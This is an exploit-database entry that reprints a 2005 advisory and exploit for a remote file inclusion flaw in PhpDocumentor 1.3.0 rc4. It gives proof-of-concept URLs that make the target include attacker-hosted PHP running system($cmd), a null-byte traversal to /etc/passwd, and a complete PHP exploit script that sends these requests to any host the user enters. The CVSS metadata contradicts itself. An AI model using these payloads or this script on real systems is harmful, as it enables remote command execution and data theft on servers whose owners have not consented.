PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion
CVE
Category
Price
Severity
CVE-2013-6744
CWE-632
Not specified
High
Author
Risk
Exploitation Type
Date
Ahmed Elsobky
High
Remote/Local
2006-01-07
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2005120079 ---- PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion ---
software:
site: http://www.phpdoc.org/
description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu,
is the current standard auto-documentation tool for the php language.
Similar to Javadoc, and written in php, phpDocumentor can be used from
the command line or a web interface to create professional
documentation from php source code."
--------------------------------------------------------------------
i) vulnerable code in Documentation/tests/bug-559668.php at line 4:
...
require_once $FORUM['LIB'] . '/classes/db/PearDb.php';
...
poc:
if register_globals on and allow_url_fopen on
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.p
hp?cmd=ls%20-la&FORUM[LIB]=http://[attacker]
where on http://[attacker]/classes/db/PearDb.php/index.html
you have this code:
<?php system($cmd);?>
also, if magic_quotes_gpc off:
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.p
hp?FORUM[LIB]=http://[attacker]/script.txt%00
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.p
hp?FORUM[LIB]=../../../../../../../etc/passwd%00
--------------------------------------------------------------------
ii) vulnerable code in docbuilder/file_dialog.php at lines 49-56:
...
/**
* common file information
*/
include_once("$root_dir/phpDocumentor/common.inc.php"); [!]
include_once("$root_dir/HTML_TreeMenu-1.1.2/TreeMenu.php"); [!]
include_once("$root_dir/docbuilder/includes/utilities.php" ); [!]
$root_dir = dirname(dirname(__FILE__)); [!!!!!!!!]
...
poc:
http://[target]/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=l
s%20-la&root_dir=http://[attacker]
where on http://[attacker]/phpDocumentor/common.inc.php/index.html
you have the same code
--------------------------------------------------------------------
exploit:
<?php
# ---phpdocu_130rc4_incl_xpl.php 13.06 29/12/2005 #
# #
# PhpDocumentor <= 1.3.0 rc4 remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Confront your soldiers with the deed itself; never let them know #
# your design. When the outlook is bright, bring it before their eyes; but #
# tell them nothing when the situation is gloomy." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html><head><title>**PhpDocumentor <= 1.3.0 rc4 remote commands execution**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
**PhpDocumentor <= 1.3.0 rc4 remote commands execution**</p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/phpdocumentor/ or just / ) </span></p><p><input type="text" name="CMD"> <span
class="Stile5"> * specify a command </span></p> <p> <input type="text"
name="LOCATION"><span class="Stile5">* remote location ( ex: http://www.somesite
.com, without traling slashes)</span></p><p><input type="text" name="port"><span
class="Stile5">specify a port other than 80 (default value)</span> </p> <p>
<input type="text" name="proxy"><span class="Stile5">send exploit through an
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".$datai."</td>";
}
else {
echo "<td>".$datai."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port]; $CMD=$_POST[CMD];
$LOCATION=$_POST[LOCATION];
if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("rn","",$host);
$path=str_replace("rn","",$path);
$CMD=urlencode($CMD);
$packet="GET ".$p."Documentation/tests/bug-559668.php?cmd=".$CMD."&FORUM[LIB]=".$LOCA
TION." HTTP/1.1rn";
$packet.="User-Agent: Shareaza v1.x.x.xxrn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
//sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; die;}
else {echo "Trying Step 2...<br>";}
$packet="GET ".$p."docbuilder/file_dialog.php?cmd=".$CMD."&root_dir=".$LOCATION." HTTP/1.1rn";
$packet.="User-Agent: SnoopRob/x.xrn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; }
else {echo "Exploit failed...";}
}
else
{echo "Note: on remote location prepare this code in<br>
http:/[remote_location]/classes/db/PearDb.php/index.html<br>
and in<br>
http://[remote_location]/phpDocumentor/common.inc.php/index.html:<br>";
echo nl2br(htmlentities("
<?php
echo"HiMaster!";ini_set("max_execution_time",0);system($cmd);
?>
"));
echo "<br>Note 2: if magic_quotes_off on target server<br>
you can truncate location name with a null char, ex.:<br>
http://[remote_location]/your_file.txt%00<br><br>
Fill * required fields, optionally specify a proxy...";}
?>
--------------------------------------------------------------------
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original adivsory: http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html
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